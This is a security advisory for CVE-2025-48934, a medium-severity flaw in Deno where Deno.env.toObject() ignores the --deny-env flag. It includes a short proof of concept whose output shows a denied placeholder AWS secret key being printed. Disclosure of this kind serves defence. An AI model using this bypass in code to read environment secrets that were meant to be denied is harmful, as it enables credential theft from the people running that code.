CVE-2025-48934

MEDIUM5.3EPSS 0.35%

Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables

Published: 6/4/2025Modified: 7/2/2025

Description

### Summary The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read. ### PoC ``` export AWS_SECRET_ACCESS_KEY=my-secret-aws-key # Works as expected. The program stops with a "NotCapable" error message echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \ --allow-env \ --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY - # All enviroment variables are printed and the --deny-env list is completely disregarded echo 'console.log(Deno.env.toObject());' | deno run \ --allow-env \ --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY - ``` The first example using `get` exits with the following error: ``` error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY")); ^ at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10) at file:///$deno$stdin.mts:1:22 ``` The second example using `toObject` prints all environment variables: ``` [Object: null prototype] { ... AWS_SECRET_ACCESS_KEY: "my-secret-aws-key", ... } ``` ### Impact Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.

Affected packages (2)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0—CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
osvCVSS 3.1MEDIUM5.3CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References (8)